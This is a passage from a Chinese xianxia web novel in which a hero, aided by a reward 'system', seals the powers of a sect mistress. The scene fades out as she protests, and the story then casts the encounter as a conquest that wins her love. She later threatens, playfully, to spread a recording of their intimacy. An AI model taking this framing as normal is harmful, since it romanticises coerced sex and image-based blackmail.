她甚至能感受到一股无形的威压,让她这个法相境强者,不由自主地屏住了呼吸。 “姑娘可看清了?” 慕长歌转身,眼中深邃,“跟在我身边,才是真正的危险。” 他轻抚血煞剑,剑身发出愉悦的嗡鸣,“这把剑最喜血食,尤其像姑娘这种绝色美人的精血。” 血煞剑化作一道血芒,瞬息间停在南宫媚儿眉心三寸之处,剑尖吞吐着猩红煞气,将她额前的碎发吹拂而起。 两人四目相对,空气在这一刻凝固。 南宫媚儿忽地展颜一笑,如三月桃花绽放,竟让血煞剑的煞气为之一滞。 她伸出纤细玉指,点在剑尖之上,“公子何必吓唬媚儿,若你是恶人,又何必为我斩杀那些魔修?” 她主动向前一步,让剑尖抵住眉心,诡异的是,血煞剑不仅没有伤她分毫,剑身反而微微震颤,发出愉悦的清鸣。 慕长歌眼中闪过一丝诧异,这血煞剑自他得到以来,还是第一次对他之外的人产生反应。 转而又看到那把剑,亲昵地用剑柄赠了赠南宫媚儿的小手,惹得那娇俏可人咯咯娇笑。 慕长歌脸色一黑,将之收进了储物戒。 南宫媚儿眼波流转间带着几分狡黠,“陌上人如玉,公子世无双,就是公子手中的灵兵,都如此与众不同呢。” 她莲步轻移,绕着慕长歌转了一圈,绯色纱衣在晚风中飞舞,带起一阵幽香。 “只是....” 她突然凑近,红唇差点贴上慕长歌的耳垂,“这剑颇有几分不正经之气,不知公子是否,也如这剑一般,啊~” 南宫媚儿惊呼未落,只觉得天旋地转,整个人已被慕长歌打横抱起,她下意识环住他的脖子,绯色纱衣在空中划出优美的弧线。 掠过层层绿荫,已是来到附近的一处山洞。 慕长歌袖袍挥动,数道金色符文飞出,将洞口封得严严实实。 又随着他指尖轻点,几只红烛凭空飞出,稳稳地嵌在洞壁之上,烛火摇曳间,将整个洞穴映照得如梦似幻。 啪! 一个响指,地上干柴堆燃起篝火。 南宫媚儿倒在那张以灵力所化的云床之上,似雾似纱,随着她的动作泛起涟漪。 “公子带我来这儿,是想要做什么呢?” 她半撑起身子,纱衣滑落香肩,眸中水光盈盈。 南宫媚儿没有得到回答,却看到眼前的男人扯掉了外袍。 “你不是想知道,我是否如那剑一般?” 慕长歌嘴角扬起邪魅,“不知这个答案,姑娘可还满意?” “公子尚未告诉我,此行你欲往何处,人家对你这个人,知之甚少....呢?” 下一秒。 话音戛然而止。 她美眸陡然瞪大,吓到小手掩住了红彤彤的檀口。 此刻的慕长歌,肌肉如吹气般膨胀,原本匀称的身材,瞬间暴涨三倍,块块肌肉如同花岗岩般棱角分明。 青筋似虬龙缠绕,在烛光下泛着古铜色的光泽。 此等秘术,让她既震惊,又不自觉地往后缩了缩,俏脸上的媚态荡然无存。 她修炼数百年,何曾见过这般可怕的炼体之术,那夸张的肌肉线条,像是把十几头蛮荒古兽的力量,压缩在一具人形躯壳里。 若是以媚术操控了他的心智,把他变成忠于自己的奴仆.... 想想就美妙。 就是.... 此人的实力,她暂且看不出深浅,也就不好贸然施为。 “我此行两件事。” 慕长歌全身的骨骼传出脆响声。 他凑近南宫媚儿,挑起那尖翘的下巴,“一,前往合欢宗,二,睡服你与天风城守望相助。” “原来你知道我的身份?” 南宫媚儿对于他的挑衅不显恼怒,反而笑吟吟的,被拆穿了身份,也没有过度的诧异。 谁让她是有身份的人呢,且又是个美人,以她这等姿色被人猜到又有何难? 可惜了,刚有点乐子要做,就被这小子给无情拆穿了,自己不要面子的么? “你凭什么以为能说服我?” 她拨开慕长歌的手,娇媚之色眨眼间褪去,取而代之的是一抹凌厉,“既知我身份,又安敢对我无礼?” 南宫媚儿声音骤然冰冷,与方才的柔媚判若两人。 她迈动裙下修长玉腿,踱步来到山洞入口处,背对慕长歌而立。 “实力!” 慕长歌站在原地未动,噙着抹玩世不恭的笑意。 “哦?是吗?” 随着她的清冷话音,自袖中飞出一道红色丝绦,似灵蛇缠绕上慕长歌的四肢。 那丝绦上闪烁着诡异的符文,竟是合欢宗镇派之宝。 ——情丝缚仙索! 地阶极品灵宝。 “现在呢?” 她指尖轻佻,丝绦骤然收紧,将慕长歌捆成了粽子。 烛光下。 南宫媚儿眼中闪烁着危险的光芒,“慕公子可还有那个自信?” 她柳眉微蹙,并未从慕长歌眼中看出半分惊慌。 那双深邃的眸子里,依旧噙着淡淡笑意,甚至比先前还浓郁。 南宫媚儿心头狂跳,不好的预感愈发强烈。 随后,她看到情丝缚仙索上的符文剧烈闪烁,而后从慕长歌身上弹开,反将她缠了个结实。 “姑娘这法宝,似乎不太听话?” 望着对面那一脸的似笑非笑,南宫媚儿满脸错愕。 她想破脑袋都想不明白,宗门中的秘宝,怎么会不听自己这个宗主的使唤了。 慕长歌慢条斯理地走到她跟前,俯身耳边低语,“南宫宗主的自信....可还在?” “公子~” 南宫媚儿娇柔轻唤,仰头时,眸子里泛起妖异的粉色光芒。 红唇轻启间,吐出一缕幽香,正是她所修秘术,摄魂媚术。 慕长歌纹丝未动,眼中笑意更甚,那粉色光芒刚触及他的瞳孔,如泥牛入海晕散开来。 南宫媚儿莫名地闷哼一声,她惊恐地察觉到,自己释放的媚术不仅无效,反而被某种力量反弹了回来。 她聚焦的瞳孔,逐渐变得涣散,只是觉得倒映在杏眸深处的男人身影,拥有让她心跳加速的致命吸引力。 少顷! 伴随着慕长歌一个响指,南宫媚儿终于恢复了清醒。 只是更可怕的事情发生了。 “我的修为!” 她声音发颤,第一次露出真实的惊慌。 自己法相境三阶的实力,竟然被人给封印了? 她又看到慕长歌向着自己走来,惊慌之色愈发浓郁。 “等等!” “你要干嘛...不能这样...呀!” “……” 第134章 吃干抹净要跑路,妖女缠绕难脱身 晨光微熹。 山间薄雾缭绕,几只早起的云雀掠过洞口,被里面传出的娇嗔惊得振翅高飞。 “哎呀~别闹了嘛~” 洞内。 南宫媚儿在云床上蜷缩着。 她青丝散乱,绯色纱衣松松垮垮,雪肌上片片红痕,眼波流转间尽是化不开的风情,与昨夜的凌厉判若两人。 “昨夜的喊打喊杀呢?” 慕长歌缕起她一束发丝,“南宫宗主要不恢复一下?” “讨厌~还叫人家南宫宗主,叫我媚儿嘛!” 她一口轻咬在慕长歌肩头,留下浅淡的牙印,“人家早知公子的厉害,岂敢对你不从~” 南宫媚儿惊叹的并非只是慕长歌的实力,而是经过了一夜,她发现体内的灵力比从前精纯了许多。 修为不仅增长到法相三阶巅峰,魅灵圣体一同突破到第七重! 更令她震撼的是,此番深入了解下,她终于确认了慕长歌的体质,无垢道体! 传说中能够净化一切杂质的至高道体,对修炼媚功之人简直就是天造地设的鼎炉。 “我说的事,你考虑得如何了?” 慕长歌握住她的手腕问道。 南宫媚儿翻了个身,指尖画着圈圈,“人家突然觉得与天风城结盟再好不过了呢,只是媚儿这么乖,公子可要奖励我?” “你想我怎么....唔.....” 慕长歌话音戛然而止。 此处隐藏十万字不可见~ “叮!恭喜宿主强制收服气运之女南宫媚儿,攻略进度50%,获得气运值返还40000点!” “恭喜宿主获得额外奖励,惑音琴(地阶极品,可进阶)” 【功效:七情共鸣(琴音可引动目标七情六欲,使其陷入幻境,对媚术修炼者效果翻倍)】 这系统判断得果然不错。 魅女全靠硬核实力来收服,就好比驯养小野猫那般。 日上三竿。 金辉破开了晨雾,几只山雀落在洞口的藤蔓上,歪着小脑袋好奇地往里张望。 “别动,让我来~” 南宫媚儿跟条蛇似的缠绕上去,“你看你,衣带都系反了。” 怪他喽? 他能抽出只手就不错了! 感受着黏在身上的人形挂件,倒是颇为理解合欢宗为何要研制情丝缚仙索这种灵宝。 这女人比灵宝更会缠人! 就他衣袍的带子,足足系了一刻钟还没好。 穿好了衣服,慕长歌看了眼天色,没好气瞪了眼坐在云床边缘的南宫媚儿,“是谁一个时辰前说要出发的?” 她赤着玉足坐在边缘,美眸中氤氲着水雾,满脸的委屈巴巴以及可怜兮兮。 哎! 慕长歌揉了揉太阳穴,暗自悔恨。 早知这女人如此黏人,就不该贪她身上的气运值。 他掌心一翻,惑音琴凭空浮现,七根琴弦流转着七彩光晕。 “此物予你防身。” 慕长歌递过去,刻意板着脸,“也算...全了我们之间这段因果。” 南宫媚儿先是一愣,看清琴身纹路后美目陡然圆睁。 惑音琴! 最为适合修行媚术之人,斗战所用的法宝。 自从她得知这把琴的存在,就一直暗自寻找这灵宝,只可惜一直没得头绪。 “公子出手当真阔绰,随随便便就是地阶极品。” 南宫媚儿含笑接过,足尖轻点云床。 一双绣着合欢花的绣鞋凭空浮现,鞋子上缀着的银铃,随着她下床的脚步,发出清脆声响。 她周身泛起粉色光晕,松垮的纱衣如流水般重组变幻,化作月白色仙裙。 衣袂飘飘间,隐约可见金线绣成的合欢暗纹,既不失合欢宗特有的妩媚,又多了几分仙家气度。 慕长歌摸了摸鼻子,他还不是想尽快了断因果,也好不亏欠南宫媚儿。 “那个,既如此...” “公子赠琴之恩,媚儿无以为报,唯有...” 南宫媚儿抢先接过话茬,话语稍作停顿,转而垫起脚尖附在他耳边吐息,“以身相许...” 霎时,慕长歌浑身一僵,瞳孔变大。 这他娘的....怕什么来什么啊。 做过的事一定要负责么? 咳咳! 这样一个妖媚的女人,谁能吃得消? “回见!” 慕长歌丢下这句,转身就逃。 南宫媚儿笑眯了眼,“老娘看上的男人,还想逃么?” 嗖! 她化作流光转眼间跟去。 此刻的南宫媚儿,再无任何隐藏,发挥了法相境全部的修为。 慕长歌还未走远,那条情丝缚仙索就将他缠绕住。 只是这一次,他无论如何使用器心通明这等秘术,那绳子就是不肯松开。 大有一副不对它主人负责,那就永不罢休的念头。 除非....毁了这灵宝。 缚仙索似乎感受到这个念头,不自觉地颤抖了下。 天际流光划过,南宫媚儿翩然降落在慕长歌身前。 月白留仙裙随风翻飞,修长玉腿的曲线完美呈现。 她足尖轻点,绣鞋上的银铃叮当作响,玉足在裙摆间若隐若现,每一步都踏出令人心颤的韵律。 “公子可是答应了媚儿,要与我一同去合欢宗。” 她玉手轻挥,缚仙索如灵蛇般游回腕间,“就这样丢下我是几个意思呢?” 慕长歌刚要开口,忽觉幽香扑面。 南宫媚儿贴近他耳畔,方才还娇滴滴的嗓音骤然转冷。 “臭男人,休想提上裤子不认人!” 温热吐息忽又化作酥麻耳语,“老娘的清白既给了你,那就认定了你,别想逃出我的手掌心~” 望着慕长歌那张苦瓜脸,她咯咯笑着退后半步,又变回那副娇媚模样,拽着他衣袖轻晃。 “夫君~我们快些回去吧~” 她指尖在他掌心画着圈,“媚儿还想...让夫君帮着提升实力呢...” 那酥麻入骨的娇嗔,听得慕长歌不由自主冒起了鸡皮疙瘩。 比起水月她们的清冷含蓄,眼前这位合欢宗主,简直把妖孽二字刻进了骨子里。 以及指尖在掌心画圈的力道,恰好是能勾起痒意,又不至于难受的微妙程度。 吐息间的幽香,更是暗含合欢宗秘传的醉心引,连呼吸节奏都带着撩人的韵味。 妖女啊! 就拿这个考验老夫? 你看老夫像是经得起考验的人嘛! 慕长歌深呼吸。 “夫君怎么发抖了?” 南宫媚儿掩嘴一笑,美眸中带着抹得意,“昨夜夫君降伏媚儿时,可不似这般胆小哦~” “……” 出来混,果然是要还的啊。 随后,慕长歌又感到自身腰眼处,被这个妖女一按,合欢秘术探云指命中了穴位。 他闷哼一声,体内灵力如沸水翻涌。 这一指下去,引动了他体内残留的合欢灵力,差点将他点燃。 “谁叫你欺辱媚儿,给你一个小小的惩罚。” 随即,她指尖浮现出一块留影石。 光影浮动间,赫然是山洞内,某些不可描述的片段。 “要是夫君不跟我回去,那我就...把这段复制三千份,撒遍整个修真界,这样无论你走到哪,总有人知道你是我的人。” 她晃动着留影石,笑得像个小狐狸。 “……” 这该死的占有欲,真拿她没有办法。 第135章 道侣印记龙凤纹,合欢宗主定终身 他长叹一声,眼中闪过无奈与宠溺,“可你连我是谁尚且不知,就不怕稀里糊涂被我杀了?” “你要忍心,那杀便是。” 南宫媚儿非但不惧,反而顺势贴进他怀里,“反正我是夫君的女人,杀了我是你的损失~” “……” 慕长歌无奈地手扶额头。 狗系统,都是你惹的祸,这下子被缠住了,还怎么脱身? “叮!人是宿主睡的,本统绝不背锅!” “鉴于宿主污蔑行为,本统特此开启惩罚模式,具体表现为语言错乱三分钟!” 握草! 又来? 慕长歌大惊,上次就是这个语言错乱的惩罚,让他冲着水月好一通表白,这次该不会又.... 他思绪陡然而止,只因此刻的行为已然不受自身掌控。 “媚儿姑娘,有些话我实在不吐不快!” 他双手扶住眼前俏佳人的肩膀,“你的眼睛比星河更璀璨,你的红唇让我想放弃修仙改做你的唇彩。” 南宫媚儿美眸圆睁,手中留影石啪嗒掉在了地上。 他这是...吃错药了? 慕长歌的眼神依旧炽热如火,“什么长生大道,什么无上仙途,都比不上你回眸一笑,自从昨日初见姑娘,我才方知何为心动!” “一眼的心动,犹如万年,那个时候内心有一道声音在告诉我,得到她,一定要得到她,错过我将抱憾终身!” 他突然单膝跪地,执起南宫媚儿的柔荑,“早就听闻合欢宗主此女只应天上有,身在凡尘胜似仙。” “直到亲眼所见,我才方知何为神女,可是我却一时冲动,对你做了那样的事,他妈的,畜生啊!” 噗嗤! 南宫媚儿听到这忍不住一笑。 内心深处又很是感动,原来他想逃离,是觉得无颜面对自己,并以那件地阶极品灵宝作为补偿。 这个傻子,难道他不知道自己本身就有多么讨女人喜欢么。 又见慕长歌话锋一转。 眼眸中的认真能让任何女人失去抵抗力,“媚儿,此时此刻,我再也不要压抑自己,我要你正式做我的女人!” ——狗系统,我嫩死你! 这该死的三分钟怎么还没过去! 最要命的是,他说这些话时,周身竟泛起无垢道体特有的澄澈灵光,其中蕴含的纯净气息,让他每一句话直击心灵。 南宫媚儿早已从最初的错愕,转为了羞涩,雪白的脸颊还泛起了两朵红云。 她轻咬下唇,纤纤玉手将慕长歌扶起,“你觊觎人家多久了?” 这个臭男人,原来早就盯上了她,那么也就是说,去他们合欢宗明面上是要与天风城守望相助。 实则这家伙的真正目的,是为了睡服她? 都怪自己这无处安放的魅力~ “不久不久,比不上我们日后的长长久久!” 南宫媚儿闻言噗嗤一声笑了出来。 她指尖轻点慕长歌心口,“你可知合欢宗有个规矩,凡是要与宗主结为道侣,需过三关。” “别说三关,就是三千关我也....告辞!” 话已至此,恰好惩罚慕长歌的那三分钟过去了,他炽热的眼神瞬间清明,触电般松开南宫媚儿的玉手。 此时不跑,更待何时! 这要真去了合欢宗,以这妖女的妩媚,宗门中的弟子又或者长老们,得知他把南宫媚儿给欺辱了,还想囫囵着出来? “……?” 南宫媚儿还维持着娇羞姿态,指尖悬在半空。 不是,这家伙态度上的转变,怎么比她雪子还要大? “站住!” 南宫媚儿一声厉喝,脸上的娇媚之色,如潮水般褪去,取而代之的是一抹令人心悸的威严。 她莲步轻移,月白仙裙无风自动,每一步踏出合欢宗主应有的风度。 “你撩也撩了,我又没说不做你的女人,你跑什么?” 南宫媚儿声音里充斥着不容抗拒的女王威仪,“至于那所谓的三关,去他的就是,老娘的男人想闯就闯,不想闯就不闯,比如...” “媚儿就只想跟夫君做些闯进彼此心灵的事~” 轻薄的香气,喷洒在慕长歌耳边,南宫媚儿扬着红唇,在骄阳下闪烁着迷人光泽。 她玉手轻抬,与慕长歌十指相扣,指尖流转的灵力如粉色丝带,将两人缠绕。 又见两人掌心相贴处迸发出耀眼光芒,无垢道体的澄澈灵光,与魅灵圣体的绯红气息交织,凝成一对缠绕的龙凤道纹。 望着慕长歌垂目看着掌心,南宫媚儿轻柔一笑,“这是我们合欢宗与人结为道侣时的特殊印记。” “若是有一天这印记不在了,也就是说你不喜欢我了。” 她抬眸直视着慕长歌的眼睛,眼底闪过罕见的脆弱,“这印记之所以能缔结成功,源于你对我的喜欢发自真心。” 慕长歌心头一震,还未开口,又听她语气一转,“同样,有了这道印记,日后合欢宗上下,都会知道你是我南宫媚儿的男人。” “……” 什么情况? 这才刚出了天风城,转眼他又给自己找了个老婆。 现在只要催动灵力,他掌心就能浮现出龙凤道纹。 “叮!恭喜宿主与气运之女南宫媚儿缔结道侣,对方好感度达到70%,获得气运值返还10000点!” “恭喜宿主获得额外奖励,龙凤和鸣buff(双修效果+300%)” 慕长歌听到系统提示音,嘴角不受控制地抽搐了两下。 他暗自问了系统,这道侣印记为何缔结成功了,不是说只有喜欢对方才能留下印记的么? 合欢宗这种秘术,也算杜绝了一些别有用心之人,极大地保护了门中弟子不受伤害。 “叮!经本统慎重检测,宿主的喜欢,来自于馋她的身子,赠送宿主【下贱】称号。” “效果:对南宫媚儿魅惑抗性减50%” 慕长歌愣了愣,他要是没听错的话,这狗系统刚才说他下贱? 倒是南宫媚儿从他那几经变换的表情中,想到了什么。 “夫君~你就别担心了嘛....人家都跟你缔结道印了,就只能是你的人了,肯定不会乱来的。” 她撇了撇娇唇,“人家是生得好看了点,让你感受到了压力,可在这世上,就只有夫君配做我的男人,媚儿心里容不下其他人。” 咕咚! 慕长歌没来由地咽了口唾沫。 怎么回事? 他怎么心跳加快了。 尤其看着南宫媚儿此刻的样子,一股前所未有的保护欲,猛地从心底升起。 这一刻,他甚至想将世上所有的美好都捧到她面前。 我这是动心了? 慕长歌眼眸瞪大了一瞬,肯定是那个下贱称号,让他对南宫媚儿的魅惑减轻了抵御力所致。 不过也好,南宫媚儿是自己的女人了,他就算逃跑,终究也是亏欠了因果,慕长歌也做不出那样的事。 道侣多怎么了? 就是有这个实力! 用心解救天下美人于水火,怎么能叫花心? 这叫广施雨露。 只是希望将来小璃儿,水月,叶灵曦,季清影她们汇聚一处,不会掀了房顶就好。 当然...还有师尊。 “在想什么?” 南宫媚儿看着他发呆,忍不住问。 慕长歌嘴角勾起一抹邪魅,“在想我的小媚儿,何时才给你夫君生个一儿半女?” 南宫媚儿雪颊飞红,耳尖渲染上了绯色。 她掩嘴一笑,“夫君只是想,自然无用~” “所以啊...” 慕长歌将她打横抱起,“还要看实际行动!” “呀!” 南宫媚儿惊呼未落,两人已化作一道璀璨流光划破了天际。 第136章 媚儿心计藏娇嗔,夫君反制显霸道 远处的天空,传来几声炸响,伴随着魔雾渐渐消散。 慕长歌眉头微皱,眼中寒芒闪烁,“第几波了?” “算上这次,百里之内,我们遇上了四次伏击。” 她轻巧地落在他身侧,玉指轻点红唇,“看来有人不想让我顺利回到合欢宗呢!” “哦?” 慕长歌诧异地挑了下眉,看来这女人倒也不蠢。 只是合欢宗内事他一个外人不好插手,自然就没有去说的必要。 本想通过适当的提醒,引起南宫媚儿的警觉,她自己倒是明白,也就不必他再去多费口舌。 南宫媚儿自从离开宗门的那一刻,就产生了质疑,她只是不太敢相信,合欢宗内有人投靠了魔宗。 可她昨日刚离开宗门不久,就遇上了劫杀,一次算作巧合,接连好几次那就有些说不过去了。 那些人似乎知道她要去何处,因此才能提前设伏。 她甚至想过回宗,却在回宗的路上,遇上了三位化神强者,她假装不敌,受伤逃遁,想看清这幕后黑手到底要做什么。 或许是缘分,让她在即将抵达天风城百里外的山谷,遇上了慕长歌,并....失了身.... 想到这,南宫媚儿就忍不住翻了个白眼,真的是...常在河边走,这次...包了饺子皮儿。 好在这个男人她很是满意,不仅修为让人看不透,还是传说中的无垢道体,相貌生得还叫她容易发颤。 若无这些基础,她早就在事情结束后杀了慕长歌,又岂会与他结为道侣。 “夫君,媚儿还真是看不透你呢~” 她那指尖划过慕长歌的胸膛,裙摆随风扬起,雪白的肌肤在阳光下泛着莹润光泽,“可否告诉人家,你的真实修为?” “怎么,怕我进了合欢宗,被他们给吃了?” 慕长歌低声笑着,捏了捏那尖翘的下巴,嗓音低沉而戏谑。 南宫媚儿撇了撇嘴,娇嗔地瞪他一眼,“可不是嘛,人家虽然是一宗之主,可在某些老顽固面前资历尚浅,压制不住嘛~” 她故作委屈地靠在他肩头,指尖在其胸口画着圈,“万一他们欺负你,媚儿是会心疼的~” 慕长歌挑眉,“你担心我,还是担心自己压不住他们?” “这世上能让我南宫媚儿担心的可不存在,现在...不一样了~” 她素手划过慕长歌脸颊,如同清风扑面,侧身娇哼,“那些老家伙不好对付,尤其是大长老,法相境修为,我也要给他三分薄面。” 慕长歌望着她那姿态,心中愈发的感叹,这女人一举一动,无论有意还是无意,都是那么的撩人。 又见南宫媚儿眼中闪过抹狡黠,凝望着他的眼睛。 “不过嘛,若是夫君实力够强,媚儿倒是不介意让他们见识到,什么叫做我选的男人。” 南宫媚儿有个猜测,慕长歌既能够趁她一时不察,将她修为短暂的封印。 那他一身的修为,无论如何都不会弱于化神境,只是具体到了哪等地步,尚且有待验证。 再就是...他那身大肌肉状态实在太可怕了,可怕到她...还想再...见识见识~ “无妨。” 慕长歌轻笑了声,“我的实力比收服你时可要强。” “那夫君到底什么境界?” 她俏脸一红,眨了眨眼,不知自家这坏坏的夫君,比之她真正的实力如何。 慕长歌勾唇,俯身在她耳边低语,“需要你用芯去感受。” 温热的气息喷洒在她耳畔,惹得她耳尖微红。 想要追问,黛眉却蹙了起来。 “看来夫君料想不错,果然等来了第五波袭击。” 南宫媚儿红唇挑起带有冷意的弧度,只见远处黑云翻涌,魔气森然,数道身影正急速逼近。 这股气息也正是阻拦她回宗的那几个,每一个都有不弱于化神五阶的实力。 “夫君,媚儿好怕哦,你可要保护人呢哟。” 她娇滴滴地往慕长歌怀里钻,纤纤玉手夸张地捂住胸口,一副受精小鹿的模样。 慕长歌嘴角抽了抽,看着这个只差一层薄纸,就能突破法相四阶的妖女,此刻倒装得像个手无缚鸡之力的弱女子。 他暗自腹诽,真当自己这个当老公的看不出来? 回头非得狠狠抽她一顿不可。 下一刻。 慕长歌揽住她那纤腰直冲黑云。 黑云中三道血色锁链撕裂长空,直奔两人而来,所过之处,空间如水面陷入寂静。 南宫媚儿瞳孔微缩,没想到对方这几个化神境魔修,联手之下能做到这等地步。 这锁链中蕴含着空间法则,她只是奇怪,先前与这几人交手,对方似乎不是要杀她,反而像是要困住她,或者带走她。 南宫媚儿忍着出手的冲动,美眸紧盯着幕长歌的侧脸轮廓,瞥见自家夫君嘴角勾起一抹邪魅弧度,不闪不避,径直冲向锁链。 锁链在靠近他们的瞬间化作了碎片,当他们穿透了黑云,南宫媚儿听到了身后传来的剑气炸响。 回首望去,黑云被彻底洞穿,三道身影如断线风筝般坠落,那几位化神境魔修,胸口皆被洞穿,眼中凝固着难以置信。 令她比较震惊的是,整个过程完全没感受到慕长歌的灵力波动。 南宫媚儿时而红唇微张,时而欲言又止,时而困惑。 “傻掉了?” 慕长歌在她眼前打了个响指,“那可怎么行,这女人不能要了,我得赶紧去换一个。” “你敢!” 南宫媚儿柳眉倒竖,转瞬又洋溢着娇嗔娇媚,声音甜得滴出蜜。 “夫君君~人家好像知道你的真实身份了~” 她凑近他耳边吐气如兰。 银铃般的笑声中,充斥着她的狡黠。 无垢道体,深不可测的实力,以及他背后的身份和势力,都能助她在合欢宗立足根基! 合欢宗虽保持着中立,但绝不意味着门中弟子,能够勾结魔道,尤其那些长老高层更该死! “说说看。 慕长歌双手环绕,嗓音低沉而磁性,如那醇厚的美酒,很容易让人不自觉沉醉其中。 南宫媚儿心跳加快,又不甘示弱,正要开口,那男人忽然俯身,薄唇几乎贴上了她的耳垂。 温热的气息喷洒于耳廓,惹得她浑身一颤。 他低语,声音里带有坏坏的威胁,“猜错了,可是要受罚的。” 南宫媚儿纤腰轻摆,玉指在他腹肌处打着圈。 又见她衣裙不知何时滑落半肩,锁骨处的合欢花若隐若现。 “那...奴家听夫君的就是~” 她那修长的玉腿,若有似无地赠着慕长歌,“只是夫君莫急,回了合欢宗,进了媚儿的闺房,再让我慢慢验证...你的身份~” 第137章 柔情蜜意显奇效,一夜连破十阶境 慕长歌心里一个咯噔。 魅灵圣体当真了得,举手投足间尽是风情,一颦一笑尽是勾魂夺魄,他暗自运转无垢道体,才勉强压下丹田的心火。 “我倒是有些迫不及待了。” 慕长歌长臂一揽,将南宫媚儿打横抱起。 两人化作流光,来到合欢宗山门前时,天色已然暗淡无光。 只有璀璨的仙光,笼罩着一座座雕梁画栋的宫殿,空气中飘荡着淡淡的合欢花香。 南宫媚儿挥手打开了宗门禁制。 慕长歌想放下她,却见这女人依旧紧紧勾着他的脖子。 山门处数十名弟子齐刷刷瞪大眼睛,手中的法器掉了一地。 “宗、宗主?!” 一名粉衣少女结结巴巴,眼中的震惊像是见了鬼。 “怎么?本宗主带道侣回宗,你们这一个个的都是什么反应?” 南宫媚儿慵懒地抬眸,“都退下吧。” 她玉手一挥,贴近慕长歌耳边,“夫君,我的闺房在那儿,可不要走错了门,不然人家可会笑话你的。” “为夫轻车熟路,岂会走错?” 慕长歌抽搐着眼角,“何况有夫人主动指路不是?” “夫君说的是~” 南宫媚儿掩嘴娇笑。 两人已然化作一道流光,身后传来众弟子此起彼伏的惊呼。 “我的天呐!这么神奇嘛!” “那人是谁?竟能让宗主这般....” “嘘!小声点,没听见是道侣吗?” 慕长歌耳力极佳,听得一清二楚,怀中南宫媚儿更是笑得花枝乱颤,玉指在他胸口画着圈。 “夫君听见没?你可要对我负责到底哦~” “……” 慕长歌深呼吸,这女人故意在给他拉仇恨,他相信过了今夜,就会有人坐不住了。 到了那时,才是真正的博弈。 “女人,看我待会怎么收拾你!” 慕长歌的轻哼,只换来南宫媚儿的娇笑,还冲着他抛了个媚眼。 那眼神似是再说,夫君随意就是,有什么手段,奴家全都接着。 对此,慕长歌只好又暗自骂了她一声妖女。 有此妖女为道侣,日后他身上绝不可能有存货。 转眼间,一座精致的阁楼出现在眼前,檐角挂着银铃,随风叮当作响。 “站住!” 慕长歌身后传来一声厉喝,“何方宵小,竟敢擅闯宗主寝宫!” 他抱着南宫媚儿转身,一名身着青衫的年轻弟子持剑而立,脸上满是警惕。 南宫媚儿轻巧地从慕长歌怀中跃下,裙摆如花瓣绽开。 “青竹,不得无礼。” 她声音很柔,威严不容置疑。 那名叫做弟子青竹的弟子浑身一颤,“方才没能看清是宗主归来,还请宗主恕罪!” 青竹请罪的同时,目光忍不住偷瞄慕长歌。 这人是谁? 竟然能让向来眼高于顶的宗主,如此亲近相待? “本宗主有了道侣,还需向你报备么?” 南宫媚儿轻哼一声,玉手挽上慕长歌的臂弯,“日后见他如见我,明白了吗?” “是!” 青竹呼吸一滞,就要离去。 南宫媚儿将他叫住,问道,“方才可有异动?” “宗主指的是?” 他看了眼慕长歌,见南宫媚儿似乎不在意,直言道,“宗内一切如常,就是二长老和三长老,去了大长老那里,不知所为何事。” 望着南宫媚儿挥了挥手,他转而退去。 随后,她看了眼笑吟吟的慕长歌,娇嗔道,“你这坏蛋,一点不在意人家呢,我可就差点回不来...呀~” 她一声惊呼。 慕长歌将她横抱而起,“这不就回来了,风风光光的回来的。” 他迈步走向屋内,声音传了出来。 “女人,说真的,你该减肥了,挺沉的。” “去你的,是你该补补了,咯咯咯....呀...讨厌...坏死了~” “叮!恭喜宿主攻略气运之女南宫媚儿,攻略进度80%,获得气运值返还10000点!” “恭喜宿主获得额外奖励,柔情蜜意蜡(点燃后可增益彼此修为进度+100%)” “……” 狗系统! 哪来那么多花里胡哨的东西。 他乃堂堂正正的修士,增进修为岂会用得到这些东西。 但 ——浪费何尝不是一种错? 咻! 随着烛火点燃,慕长歌很明显感受到,四周大量的天地灵力,以一种极快,又极其隐秘的方式,向着此处汇聚而来。 当那灵气入体。 慕长歌只想感叹一声,舒坦! 谁说修炼一定苦哈哈的,那是没找对方式,找对了方法,世上没有比修炼更陶醉的事了! 皓月悬空,寝室外的树木簌簌作响,粉白花瓣随风飘落,在月光下泛着莹润光泽。 檐角银铃轻响,寝宫内映射着闪动的烛光,以及被灵光聚拢其内看不清的两人。 翌日。 合欢宗大殿。 阳光透过雕花窗棂洒落,为殿内镀上一层金辉。 慕长歌斜倚在宗主宝座上,怀中坐着娇媚动人的南宫媚儿。 她捏着一枚晶莹剔透的灵果,旁若无人地喂给慕长歌。 “夫君,尝尝这个,这可是千年朱果呢,可以补身子哦~” 南宫媚儿的笑声,彰显着她的愉悦。 慕长歌咂了咂嘴,不就是突破了一阶修为么,他要是告诉南宫媚儿,自己昨晚一连突破了十阶,这女人会是什么反应。 虽说如今他的修为已到了化神二十阶,可依旧很不满,他有太多的事要做,而且时间紧迫。 果然,修为越是到了后期,提升的就越是缓慢,这还是他叠加了各种buff,才取得的成果。 唉! 他暗自叹了口气。 真羡慕那些拥有大毅力,动辄苦修成百上千年的那些人,他们是怎么做到如此勤奋,修为又很一般的呢? 这个问题值得深思... 殿内数十位长老面面相觑,有的面露震惊,有的眉头紧锁。 倒是玉蟾不可置信地揉了揉双眼,确认上方端坐的身影是慕长歌后,赶忙给南宫媚儿竖起一根大拇指。 到底是宗主,出去了一趟,居然把这小子给拐到合欢宗来了。 南宫媚儿冲他抛了个媚眼,惊得玉蟾心跳剧烈加速,连忙念动清心咒才平复了下来。 心惊之余,他似乎觉得宗主的魅惑之术更加精进了,仅是无形中流露出来的媚态,就很有杀伤力。 “够了!” 伴随着一声厉喝,大长老墨玄机手中的龙头拐杖重重砸地,青石地面裂开蛛网般的纹路。 “南宫媚儿!” 他须发皆张,浑浊的老眼中迸射出骇人精光,“你身为一宗之主,竟在殿内与他人眉来眼去,成何体统!” 殿内顿时鸦雀无声。 “大长老好大的威风。” 南宫媚儿靠在慕长歌肩头,指尖把玩着秀发,“本宗主与道侣亲近,何时轮到你来管束?” “道侣?” 墨玄机冷笑一声,龙头杖突然指向慕长歌,“此子来历不明,说不定是魔宗派来的奸细,诸位长老难道就眼睁睁看着?” 第138章 龙凤契约震大殿,媚儿强势护夫君 墨玄机目露犀利寒光,紧盯了南宫媚儿。 他想不明白,天魔门那些人为何没有得手,不但让她回来了,还又带回一个不知从哪里冒出来的小子。 直到他两个弟弟二长老墨有机,和三长老墨有丹调查后才得知,这小子是天风城的乘龙快婿。 且把他在天风城的一切作为,都打探了个清清楚楚,也就是说合欢宗被魔门盯上,这小子是罪魁祸首。 “的确,我们合欢宗是出了奸细。” 